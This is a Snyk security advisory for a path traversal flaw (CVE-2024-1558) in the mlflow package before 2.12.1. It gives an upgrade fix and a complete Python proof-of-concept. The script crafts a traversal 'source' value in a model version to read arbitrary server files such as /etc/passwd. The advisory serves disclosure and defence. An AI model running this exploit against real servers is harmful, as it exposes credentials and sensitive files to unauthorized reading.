Path Traversal Affecting mlflow package, versions [,2.12.1)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-MLFLOW-6615821
- published 18 Apr 2024
- disclosed 16 Apr 2024
- credit ozelis
Introduced: 16 Apr 2024
CVE-2024-1558 Open this link in a new tabHow to fix?
Upgrade mlflow
to version 2.12.1 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Path Traversal due to improper validation of the source
parameter within the _create_model_version
function. An attacker can gain arbitrary file read access on the server by crafting a source
parameter that bypasses the _validate_non_local_source_contains_relative_paths(source)
function's checks. This issue stems from the handling of unquoted URL characters and the misuse of the original source
value for model version creation, leading to the exposure of sensitive files when interacting with the /model-versions/get-artifact
handler.
PoC
from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", required=True)
parser.add_argument("--path", default="/etc/passwd")
args = parser.parse_args()
url = args.url
ajax_api = f"{url}/ajax-api/2.0/mlflow"
with Session() as s:
# upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
# no artifacts were uploaded before:
experiment_name = "e_" + randbytes(4).hex()
rsp = s.post(f"{ajax_api}/experiments/create", json={ "name" : experiment_name })
experiment_id = rsp.json()["experiment_id"]
rsp = s.post(f"{ajax_api}/runs/create", json={ "experiment_id" : experiment_id })
run_uuid = rsp.json()["run"]["info"]["run_uuid"]
rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")
rsp = s.post(f"{ajax_api}/experiments/delete", json={ "experiment_id" : experiment_id })
# create a registered model and version:
model_name = "m_" + randbytes(4).hex()
rsp = s.post(f"{ajax_api}/registered-models/create", json={ "name" : model_name })
rsp = s.post(f"{ajax_api}/model-versions/create", json={
"name" : model_name,
"source": f"http:///xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../"
})
rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
"name" : model_name,
"version" : 1,
"path" : args.path.removeprefix("/")
})
try:
print(rsp.content.decode())
except UnicodeDecodeError:
print(rsp.content)